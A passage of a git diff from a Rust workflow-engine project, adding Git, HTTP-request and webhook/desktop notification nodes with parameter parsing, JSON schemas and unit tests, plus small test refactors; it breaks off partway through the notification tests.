||||||
|
assert_eq!(p.action, GitAction::Status);
|
||||||
|
assert_eq!(p.branch_name, None);
|
||||||
|
assert_eq!(p.message, None);
|
||||||
|
assert_eq!(p.working_dir, None);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_full_fields() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"action": "commit",
|
||||||
|
"branch_name": "feature/x",
|
||||||
|
"message": "fix: 修复",
|
||||||
|
"working_dir": "/repo"
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(p.action, GitAction::Commit);
|
||||||
|
assert_eq!(p.branch_name.as_deref(), Some("feature/x"));
|
||||||
|
assert_eq!(p.message.as_deref(), Some("fix: 修复"));
|
||||||
|
assert_eq!(p.working_dir.as_deref(), Some("/repo"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── build_command ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_branch_list_when_no_name() {
|
||||||
|
let p = parse_params(&json!({ "action": "branch" })).unwrap();
|
||||||
|
assert_eq!(build_command(&p).unwrap(), "git branch");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_branch_create_when_name() {
|
||||||
|
let p = parse_params(&json!({ "action": "branch", "branch_name": "feat" })).unwrap();
|
||||||
|
assert_eq!(build_command(&p).unwrap(), "git branch feat");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_checkout_requires_name() {
|
||||||
|
let p = parse_params(&json!({ "action": "checkout" })).unwrap();
|
||||||
|
let err = build_command(&p).unwrap_err().to_string();
|
||||||
|
assert!(err.contains("branch_name"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_commit_requires_message() {
|
||||||
|
let p = parse_params(&json!({ "action": "commit" })).unwrap();
|
||||||
|
let err = build_command(&p).unwrap_err().to_string();
|
||||||
|
assert!(err.contains("message"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_commit_quotes_message_with_space() {
|
||||||
|
let p = parse_params(&json!({ "action": "commit", "message": "fix bug a" })).unwrap();
|
||||||
|
let cmd = build_command(&p).unwrap();
|
||||||
|
assert_eq!(cmd, "git commit -m \"fix bug a\"");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_merge_requires_name() {
|
||||||
|
let p = parse_params(&json!({ "action": "merge" })).unwrap();
|
||||||
|
assert!(build_command(&p).is_err());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn command_push_status_log_fixed() {
|
||||||
|
for (action, expected) in [
|
||||||
|
("push", "git push"),
|
||||||
|
("status", "git status"),
|
||||||
|
("log", "git log --oneline -20"),
|
||||||
|
] {
|
||||||
|
let p = parse_params(&json!({ "action": action })).unwrap();
|
||||||
|
assert_eq!(build_command(&p).unwrap(), expected);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── shell_quote ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn shell_quote_plain_passthrough() {
|
||||||
|
assert_eq!(shell_quote("feat"), "feat");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn shell_quote_escapes_embedded_double_quote() {
|
||||||
|
let q = shell_quote("a\"b");
|
||||||
|
assert_eq!(q, "\"a\\\"b\"");
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── parse_action_output ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parse_branch_output() {
|
||||||
|
let out = parse_action_output(
|
||||||
|
&GitAction::Branch,
|
||||||
|
"* main\n develop\n feature/x\n",
|
||||||
|
);
|
||||||
|
assert_eq!(out["current"], "main");
|
||||||
|
assert_eq!(out["branches"].as_array().unwrap().len(), 3);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn parse_log_output() {
|
||||||
|
let out = parse_action_output(
|
||||||
|
&GitAction::Log,
|
||||||
|
"abc1234 fix bug\n deadbeef add feature\n",
|
||||||
|
);
|
||||||
|
let entries = out["entries"].as_array().unwrap();
|
||||||
|
assert_eq!(entries.len(), 2);
|
||||||
|
assert_eq!(entries[0]["hash"], "abc1234");
|
||||||
|
assert_eq!(entries[1]["subject"], "add feature");
|
||||||
|
}
|
||||||
|
}
|
||||||
319
crates/df-nodes/src/http_node.rs
Normal file
319
crates/df-nodes/src/http_node.rs
Normal file
@@ -0,0 +1,319 @@
|
|||||||
|
//! HTTP 节点 — 发起 HTTP 请求(GET/POST/PUT/DELETE)
|
||||||
|
//!
|
||||||
|
//! 使用 reqwest(与 df-ai 同一版本 0.12)。config 提供 method/url/headers/body/timeout_secs。
|
||||||
|
//! 输出 status_code + body + (可选)响应头子集。
|
||||||
|
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
use async_trait::async_trait;
|
||||||
|
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||||
|
|
||||||
|
/// HTTP 节点
|
||||||
|
pub struct HttpNode;
|
||||||
|
|
||||||
|
/// 支持的 HTTP 方法
|
||||||
|
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||||
|
pub enum HttpMethod {
|
||||||
|
Get,
|
||||||
|
Post,
|
||||||
|
Put,
|
||||||
|
Delete,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl HttpMethod {
|
||||||
|
/// 从 config.method 字符串解析,大小写不敏感,非法值返回 Err。缺省返回 GET。
|
||||||
|
pub fn parse(raw: Option<&str>) -> anyhow::Result<Self> {
|
||||||
|
match raw.map(|s| s.to_ascii_uppercase()).as_deref() {
|
||||||
|
None | Some("GET") => Ok(HttpMethod::Get),
|
||||||
|
Some("POST") => Ok(HttpMethod::Post),
|
||||||
|
Some("PUT") => Ok(HttpMethod::Put),
|
||||||
|
Some("DELETE") => Ok(HttpMethod::Delete),
|
||||||
|
Some(other) => anyhow::bail!(
|
||||||
|
"HttpNode 非法 method: {}(合法值: GET|POST|PUT|DELETE)",
|
||||||
|
other
|
||||||
|
),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn as_str(&self) -> &'static str {
|
||||||
|
match self {
|
||||||
|
HttpMethod::Get => "GET",
|
||||||
|
HttpMethod::Post => "POST",
|
||||||
|
HttpMethod::Put => "PUT",
|
||||||
|
HttpMethod::Delete => "DELETE",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 NodeContext.config 解析出的 HttpNode 参数。
|
||||||
|
/// 抽离此结构便于单元测试 config 解析逻辑(无需发起真实网络请求)。
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct HttpParams {
|
||||||
|
pub method: HttpMethod,
|
||||||
|
pub url: String,
|
||||||
|
/// 请求头(JSON 对象 → Vec<(name, value)>)
|
||||||
|
pub headers: Vec<(String, String)>,
|
||||||
|
/// 请求体(可选)
|
||||||
|
pub body: Option<String>,
|
||||||
|
/// 超时秒数(缺省 30)
|
||||||
|
pub timeout_secs: u64,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 默认超时
|
||||||
|
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||||
|
|
||||||
|
/// 从 config JSON 解析 HttpParams。url 必填;method 缺省 GET;timeout 缺省 30。
|
||||||
|
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<HttpParams> {
|
||||||
|
let method = HttpMethod::parse(config.get("method").and_then(|v| v.as_str()))?;
|
||||||
|
|
||||||
|
let url = config
|
||||||
|
.get("url")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("HttpNode 缺少必填参数: url"))?;
|
||||||
|
if url.trim().is_empty() {
|
||||||
|
anyhow::bail!("HttpNode url 不能为空");
|
||||||
|
}
|
||||||
|
|
||||||
|
// headers:JSON 对象 → 有序 (name, value) 列表。非对象/非字符串值忽略并 warn。
|
||||||
|
let mut headers = Vec::new();
|
||||||
|
if let Some(obj) = config.get("headers").and_then(|v| v.as_object()) {
|
||||||
|
for (k, v) in obj {
|
||||||
|
match v.as_str() {
|
||||||
|
Some(s) => headers.push((k.clone(), s.to_string())),
|
||||||
|
None => {
|
||||||
|
tracing::warn!(
|
||||||
|
header = %k,
|
||||||
|
"HttpNode headers 中 header 值非字符串,忽略"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let body = config
|
||||||
|
.get("body")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.map(|s| s.to_string());
|
||||||
|
|
||||||
|
let timeout_secs = config
|
||||||
|
.get("timeout_secs")
|
||||||
|
.and_then(|v| v.as_u64())
|
||||||
|
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||||
|
|
||||||
|
Ok(HttpParams {
|
||||||
|
method,
|
||||||
|
url: url.to_string(),
|
||||||
|
headers,
|
||||||
|
body,
|
||||||
|
timeout_secs,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[async_trait]
|
||||||
|
impl Node for HttpNode {
|
||||||
|
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||||
|
tracing::info!("HttpNode 执行: node_id={}", ctx.node_id);
|
||||||
|
|
||||||
|
let params = parse_params(&ctx.config)?;
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
method = params.method.as_str(),
|
||||||
|
url = %params.url,
|
||||||
|
timeout_secs = params.timeout_secs,
|
||||||
|
"HttpNode 发起请求"
|
||||||
|
);
|
||||||
|
|
||||||
|
let client = reqwest::Client::builder()
|
||||||
|
.timeout(Duration::from_secs(params.timeout_secs))
|
||||||
|
.build()?;
|
||||||
|
|
||||||
|
let mut req = match params.method {
|
||||||
|
HttpMethod::Get => client.get(¶ms.url),
|
||||||
|
HttpMethod::Post => client.post(¶ms.url),
|
||||||
|
HttpMethod::Put => client.put(¶ms.url),
|
||||||
|
HttpMethod::Delete => client.delete(¶ms.url),
|
||||||
|
};
|
||||||
|
|
||||||
|
for (name, value) in ¶ms.headers {
|
||||||
|
req = req.header(name, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(body) = ¶ms.body {
|
||||||
|
req = req.body(body.clone());
|
||||||
|
}
|
||||||
|
|
||||||
|
let response = req.send().await?;
|
||||||
|
let status_code = response.status().as_u16();
|
||||||
|
|
||||||
|
let content_type = response
|
||||||
|
.headers()
|
||||||
|
.get(reqwest::header::CONTENT_TYPE)
|
||||||
|
.and_then(|v| v.to_str().ok())
|
||||||
|
.map(|s| s.to_string());
|
||||||
|
|
||||||
|
let body_text = response.text().await?;
|
||||||
|
|
||||||
|
tracing::info!(
|
||||||
|
method = params.method.as_str(),
|
||||||
|
url = %params.url,
|
||||||
|
status_code,
|
||||||
|
body_len = body_text.len(),
|
||||||
|
"HttpNode 完成"
|
||||||
|
);
|
||||||
|
|
||||||
|
Ok(NodeOutput::from_value(serde_json::json!({
|
||||||
|
"method": params.method.as_str(),
|
||||||
|
"url": params.url,
|
||||||
|
"status_code": status_code,
|
||||||
|
"body": body_text,
|
||||||
|
"content_type": content_type,
|
||||||
|
})))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn schema(&self) -> NodeSchema {
|
||||||
|
NodeSchema {
|
||||||
|
params: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"method": {
|
||||||
|
"type": "string",
|
||||||
|
"enum": ["GET", "POST", "PUT", "DELETE"],
|
||||||
|
"default": "GET"
|
||||||
|
},
|
||||||
|
"url": { "type": "string", "description": "请求 URL" },
|
||||||
|
"headers": {
|
||||||
|
"type": "object",
|
||||||
|
"description": "请求头 JSON 对象",
|
||||||
|
"additionalProperties": { "type": "string" }
|
||||||
|
},
|
||||||
|
"body": { "type": "string", "description": "请求体(可选)" },
|
||||||
|
"timeout_secs": { "type": "integer", "default": 30 }
|
||||||
|
},
|
||||||
|
"required": ["url"]
|
||||||
|
}),
|
||||||
|
output: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"method": { "type": "string" },
|
||||||
|
"url": { "type": "string" },
|
||||||
|
"status_code": { "type": "integer" },
|
||||||
|
"body": { "type": "string" },
|
||||||
|
"content_type": { "type": "string" }
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn node_type(&self) -> &str {
|
||||||
|
"http"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use serde_json::json;
|
||||||
|
|
||||||
|
// ── HttpMethod::parse ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn method_defaults_to_get_when_absent() {
|
||||||
|
assert_eq!(HttpMethod::parse(None).unwrap(), HttpMethod::Get);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn method_case_insensitive() {
|
||||||
|
assert_eq!(HttpMethod::parse(Some("get")).unwrap(), HttpMethod::Get);
|
||||||
|
assert_eq!(HttpMethod::parse(Some("Post")).unwrap(), HttpMethod::Post);
|
||||||
|
assert_eq!(HttpMethod::parse(Some("DELETE")).unwrap(), HttpMethod::Delete);
|
||||||
|
assert_eq!(HttpMethod::parse(Some("pUt")).unwrap(), HttpMethod::Put);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn method_invalid_errors() {
|
||||||
|
let err = HttpMethod::parse(Some("PATCH")).unwrap_err().to_string();
|
||||||
|
assert!(err.contains("非法 method"), "实际: {}", err);
|
||||||
|
assert!(err.contains("PATCH"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── parse_params(config) ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_missing_url_errors() {
|
||||||
|
let err = parse_params(&json!({ "method": "GET" }))
|
||||||
|
.unwrap_err()
|
||||||
|
.to_string();
|
||||||
|
assert!(err.contains("url"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_empty_url_errors() {
|
||||||
|
let err = parse_params(&json!({ "url": " " })).unwrap_err().to_string();
|
||||||
|
assert!(err.contains("空"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_defaults_method_and_timeout() {
|
||||||
|
let p = parse_params(&json!({ "url": "https://example.com" })).unwrap();
|
||||||
|
assert_eq!(p.method, HttpMethod::Get);
|
||||||
|
assert_eq!(p.timeout_secs, DEFAULT_TIMEOUT_SECS);
|
||||||
|
assert!(p.headers.is_empty());
|
||||||
|
assert_eq!(p.body, None);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_custom_timeout() {
|
||||||
|
let p = parse_params(&json!({ "url": "https://x", "timeout_secs": 5 })).unwrap();
|
||||||
|
assert_eq!(p.timeout_secs, 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_parses_headers_object() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"url": "https://x",
|
||||||
|
"headers": {
|
||||||
|
"Authorization": "Bearer abc",
|
||||||
|
"X-Trace-Id": "123"
|
||||||
|
}
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
// headers 顺序由 serde_json BTreeMap 保证;只校验集合
|
||||||
|
let map: std::collections::HashMap<&str, &str> =
|
||||||
|
p.headers.iter().map(|(k, v)| (k.as_str(), v.as_str())).collect();
|
||||||
|
assert_eq!(map.get("Authorization"), Some(&"Bearer abc"));
|
||||||
|
assert_eq!(map.get("X-Trace-Id"), Some(&"123"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_non_string_header_value_skipped() {
|
||||||
|
// 非字符串值不应炸,应被跳过
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"url": "https://x",
|
||||||
|
"headers": { "X-Num": 123, "X-Ok": "yes" }
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
let names: Vec<&str> = p.headers.iter().map(|(k, _)| k.as_str()).collect();
|
||||||
|
assert!(names.contains(&"X-Ok"));
|
||||||
|
assert!(!names.contains(&"X-Num"), "非字符串 header 应被跳过");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_parses_body() {
|
||||||
|
let p = parse_params(&json!({
|
||||||
|
"url": "https://x",
|
||||||
|
"method": "POST",
|
||||||
|
"body": "{\"k\":1}"
|
||||||
|
}))
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(p.method, HttpMethod::Post);
|
||||||
|
assert_eq!(p.body.as_deref(), Some("{\"k\":1}"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_invalid_method_propagates() {
|
||||||
|
let err = parse_params(&json!({ "url": "https://x", "method": "TRACE" }))
|
||||||
|
.unwrap_err()
|
||||||
|
.to_string();
|
||||||
|
assert!(err.contains("非法 method"), "实际: {}", err);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -218,7 +218,7 @@ mod tests {
|
|||||||
node_id: node_id.to_string(),
|
node_id: node_id.to_string(),
|
||||||
inputs: HashMap::new(),
|
inputs: HashMap::new(),
|
||||||
config,
|
config,
|
||||||
execution_id: execution_id.to_string(),
|
execution_id: execution_id.into(),
|
||||||
event_bus: event_bus.clone(),
|
event_bus: event_bus.clone(),
|
||||||
node_status: StateMachine::new(),
|
node_status: StateMachine::new(),
|
||||||
}
|
}
|
||||||
@@ -235,7 +235,7 @@ mod tests {
|
|||||||
) {
|
) {
|
||||||
event_bus
|
event_bus
|
||||||
.send(WorkflowEvent::HumanApprovalResponse {
|
.send(WorkflowEvent::HumanApprovalResponse {
|
||||||
execution_id: execution_id.to_string(),
|
execution_id: execution_id.into(),
|
||||||
node_id: node_id.to_string(),
|
node_id: node_id.to_string(),
|
||||||
decision: decision.to_string(),
|
decision: decision.to_string(),
|
||||||
decisions: vec![],
|
decisions: vec![],
|
||||||
@@ -254,7 +254,7 @@ mod tests {
|
|||||||
) {
|
) {
|
||||||
event_bus
|
event_bus
|
||||||
.send(WorkflowEvent::HumanApprovalResponse {
|
.send(WorkflowEvent::HumanApprovalResponse {
|
||||||
execution_id: execution_id.to_string(),
|
execution_id: execution_id.into(),
|
||||||
node_id: node_id.to_string(),
|
node_id: node_id.to_string(),
|
||||||
decision: String::new(),
|
decision: String::new(),
|
||||||
decisions: decisions.iter().map(|s| s.to_string()).collect(),
|
decisions: decisions.iter().map(|s| s.to_string()).collect(),
|
||||||
@@ -477,8 +477,8 @@ mod tests {
|
|||||||
dag.add_node("b".to_string(), Box::new(HumanNode));
|
dag.add_node("b".to_string(), Box::new(HumanNode));
|
||||||
dag.add_edge("a".to_string(), "b".to_string());
|
dag.add_edge("a".to_string(), "b".to_string());
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(bus.clone(), exec_id.to_string());
|
let mut executor = DagExecutor::new(bus.clone(), exec_id.into());
|
||||||
let sm = executor.state_machine(); // 共享状态机(spawn 后仍可读)
|
let sm = executor.state_machine(); // 共享状态机(spawn 后仍可读)
|
||||||
|
|
||||||
let run_handle = tokio::spawn(async move {
|
let run_handle = tokio::spawn(async move {
|
||||||
executor
|
executor
|
||||||
@@ -537,7 +537,7 @@ mod tests {
|
|||||||
let mut dag = Dag::new();
|
let mut dag = Dag::new();
|
||||||
dag.add_node("h".to_string(), Box::new(HumanNode));
|
dag.add_node("h".to_string(), Box::new(HumanNode));
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(bus.clone(), exec_id.to_string());
|
let mut executor = DagExecutor::new(bus.clone(), exec_id.into());
|
||||||
let sm = executor.state_machine();
|
let sm = executor.state_machine();
|
||||||
|
|
||||||
let run_handle = tokio::spawn(async move {
|
let run_handle = tokio::spawn(async move {
|
||||||
|
|||||||
@@ -1,10 +1,15 @@
|
|||||||
//! df-nodes: 内置节点集合 — AI、脚本、人工审批
|
//! df-nodes: 内置节点集合 — AI、脚本、人工审批、Git、Docker、HTTP、通知
|
||||||
|
|
||||||
pub mod ai_node;
|
pub mod ai_node;
|
||||||
pub mod ai_self_review_node;
|
pub mod ai_self_review_node;
|
||||||
mod ai_node_helpers;
|
mod ai_node_helpers;
|
||||||
|
pub mod docker_node;
|
||||||
|
pub mod git_node;
|
||||||
|
pub mod http_node;
|
||||||
pub mod human_node;
|
pub mod human_node;
|
||||||
mod human_node_helpers;
|
mod human_node_helpers;
|
||||||
|
pub mod notify_node;
|
||||||
|
pub mod subflow_node;
|
||||||
pub mod script_node;
|
pub mod script_node;
|
||||||
pub mod task_advance_node;
|
pub mod task_advance_node;
|
||||||
pub mod task_state_machine;
|
pub mod task_state_machine;
|
||||||
|
|||||||
292
crates/df-nodes/src/notify_node.rs
Normal file
292
crates/df-nodes/src/notify_node.rs
Normal file
@@ -0,0 +1,292 @@
|
|||||||
|
//! 通知节点 — desktop(本地日志,后续接 tauri-plugin-notification) / webhook
|
||||||
|
//!
|
||||||
|
//! - type=desktop:tracing::info! 输出(桌面通知集成延后,见 PROGRESS.md 后续 Sprint)
|
||||||
|
//! - type=webhook:POST JSON {title, message} 到 webhook_url
|
||||||
|
//!
|
||||||
|
//! 节点语义:尽力而为,通知失败不阻断工作流(webhook 发送失败时输出 success=false 但仍 Ok 返回)。
|
||||||
|
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
use async_trait::async_trait;
|
||||||
|
use df_workflow::node::{Node, NodeContext, NodeOutput, NodeResult, NodeSchema};
|
||||||
|
|
||||||
|
/// 通知节点
|
||||||
|
pub struct NotifyNode;
|
||||||
|
|
||||||
|
/// 通知类型
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub enum NotifyType {
|
||||||
|
Desktop,
|
||||||
|
Webhook,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl NotifyType {
|
||||||
|
/// 从 config.type 字符串解析,非法值返回 Err。
|
||||||
|
pub fn parse(raw: &str) -> anyhow::Result<Self> {
|
||||||
|
match raw {
|
||||||
|
"desktop" => Ok(NotifyType::Desktop),
|
||||||
|
"webhook" => Ok(NotifyType::Webhook),
|
||||||
|
other => anyhow::bail!(
|
||||||
|
"NotifyNode 非法 type: {}(合法值: desktop|webhook)",
|
||||||
|
other
|
||||||
|
),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn as_str(&self) -> &'static str {
|
||||||
|
match self {
|
||||||
|
NotifyType::Desktop => "desktop",
|
||||||
|
NotifyType::Webhook => "webhook",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 NodeContext.config 解析出的 NotifyNode 参数。
|
||||||
|
/// 抽离此结构便于单元测试 config 解析逻辑(无需发起网络请求)。
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct NotifyParams {
|
||||||
|
pub notify_type: NotifyType,
|
||||||
|
pub title: String,
|
||||||
|
pub message: String,
|
||||||
|
/// webhook 类型必填;desktop 类型忽略
|
||||||
|
pub webhook_url: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 从 config JSON 解析 NotifyParams。type 必填;webhook 类型要求 webhook_url。
|
||||||
|
pub fn parse_params(config: &serde_json::Value) -> anyhow::Result<NotifyParams> {
|
||||||
|
let raw_type = config
|
||||||
|
.get("type")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.ok_or_else(|| anyhow::anyhow!("NotifyNode 缺少必填参数: type"))?;
|
||||||
|
let notify_type = NotifyType::parse(raw_type)?;
|
||||||
|
|
||||||
|
let title = config
|
||||||
|
.get("title")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.unwrap_or("通知")
|
||||||
|
.to_string();
|
||||||
|
|
||||||
|
let message = config
|
||||||
|
.get("message")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.unwrap_or("")
|
||||||
|
.to_string();
|
||||||
|
|
||||||
|
let webhook_url = config
|
||||||
|
.get("webhook_url")
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.map(|s| s.to_string());
|
||||||
|
|
||||||
|
// webhook 类型必须有 webhook_url
|
||||||
|
if notify_type == NotifyType::Webhook {
|
||||||
|
if webhook_url.as_deref().map(|s| s.trim().is_empty()).unwrap_or(true) {
|
||||||
|
anyhow::bail!("NotifyNode type=webhook 缺少 webhook_url");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(NotifyParams {
|
||||||
|
notify_type,
|
||||||
|
title,
|
||||||
|
message,
|
||||||
|
webhook_url,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
#[async_trait]
|
||||||
|
impl Node for NotifyNode {
|
||||||
|
async fn execute(&self, ctx: NodeContext) -> NodeResult {
|
||||||
|
tracing::info!("NotifyNode 执行: node_id={}", ctx.node_id);
|
||||||
|
|
||||||
|
let params = parse_params(&ctx.config)?;
|
||||||
|
|
||||||
|
match params.notify_type {
|
||||||
|
NotifyType::Desktop => {
|
||||||
|
// 桌面通知集成延后;当前仅日志,后续接 tauri-plugin-notification。
|
||||||
|
tracing::info!(
|
||||||
|
title = %params.title,
|
||||||
|
message = %params.message,
|
||||||
|
"NotifyNode desktop 通知(日志占位,集成待后续 Sprint)"
|
||||||
|
);
|
||||||
|
Ok(NodeOutput::from_value(serde_json::json!({
|
||||||
|
"type": params.notify_type.as_str(),
|
||||||
|
"title": params.title,
|
||||||
|
"message": params.message,
|
||||||
|
"delivered": true,
|
||||||
|
})))
|
||||||
|
}
|
||||||
|
NotifyType::Webhook => {
|
||||||
|
// webhook_url 在 parse_params 已校验非空
|
||||||
|
let url = params.webhook_url.as_deref().unwrap();
|
||||||
|
tracing::info!(
|
||||||
|
title = %params.title,
|
||||||
|
url = %url,
|
||||||
|
"NotifyNode webhook 推送"
|
||||||
|
);
|
||||||
|
|
||||||
|
let payload = serde_json::json!({
|
||||||
|
"title": params.title,
|
||||||
|
"message": params.message,
|
||||||
|
});
|
||||||
|
|
||||||
|
let client = reqwest::Client::builder()
|
||||||
|
.timeout(Duration::from_secs(15))
|
||||||
|
.build()?;
|
||||||
|
|
||||||
|
// 尽力而为:发送失败不阻断工作流,降级为 success=false + error 字段返回。
|
||||||
|
let (status_code, success, error) = match client
|
||||||
|
.post(url)
|
||||||
|
.json(&payload)
|
||||||
|
.send()
|
||||||
|
.await
|
||||||
|
{
|
||||||
|
Ok(resp) => {
|
||||||
|
let code = resp.status().as_u16();
|
||||||
|
(Some(code), code >= 200 && code < 300, None)
|
||||||
|
}
|
||||||
|
Err(e) => (None, false, Some(e.to_string())),
|
||||||
|
};
|
||||||
|
|
||||||
|
if !success {
|
||||||
|
tracing::warn!(
|
||||||
|
url = %url,
|
||||||
|
status_code = ?status_code,
|
||||||
|
error = ?error,
|
||||||
|
"NotifyNode webhook 发送失败(不阻断工作流)"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(NodeOutput::from_value(serde_json::json!({
|
||||||
|
"type": params.notify_type.as_str(),
|
||||||
|
"title": params.title,
|
||||||
|
"message": params.message,
|
||||||
|
"webhook_url": url,
|
||||||
|
"status_code": status_code,
|
||||||
|
"success": success,
|
||||||
|
"error": error,
|
||||||
|
})))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn schema(&self) -> NodeSchema {
|
||||||
|
NodeSchema {
|
||||||
|
params: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"type": {
|
||||||
|
"type": "string",
|
||||||
|
"enum": ["desktop", "webhook"]
|
||||||
|
},
|
||||||
|
"title": { "type": "string", "description": "通知标题" },
|
||||||
|
"message": { "type": "string", "description": "通知正文" },
|
||||||
|
"webhook_url": { "type": "string", "description": "webhook URL(webhook 类型必填)" }
|
||||||
|
},
|
||||||
|
"required": ["type"]
|
||||||
|
}),
|
||||||
|
output: serde_json::json!({
|
||||||
|
"type": "object",
|
||||||
|
"properties": {
|
||||||
|
"type": { "type": "string" },
|
||||||
|
"title": { "type": "string" },
|
||||||
|
"message": { "type": "string" },
|
||||||
|
"delivered": { "type": "boolean" },
|
||||||
|
"webhook_url": { "type": "string" },
|
||||||
|
"status_code": { "type": "integer" },
|
||||||
|
"success": { "type": "boolean" },
|
||||||
|
"error": { "type": "string" }
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn node_type(&self) -> &str {
|
||||||
|
"notify"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use serde_json::json;
|
||||||
|
|
||||||
|
// ── NotifyType::parse ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn type_parses_desktop_and_webhook() {
|
||||||
|
assert_eq!(NotifyType::parse("desktop").unwrap(), NotifyType::Desktop);
|
||||||
|
assert_eq!(NotifyType::parse("webhook").unwrap(), NotifyType::Webhook);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn type_invalid_errors() {
|
||||||
|
let err = NotifyType::parse("email").unwrap_err().to_string();
|
||||||
|
assert!(err.contains("非法 type"), "实际: {}", err);
|
||||||
|
assert!(err.contains("email"));
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── parse_params(config) ──
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn params_missing_type_errors() {
|
||||||
|
let err = parse_params(&json!({ "title": "t" })).unwrap_err().to_string();
|
||||||
|
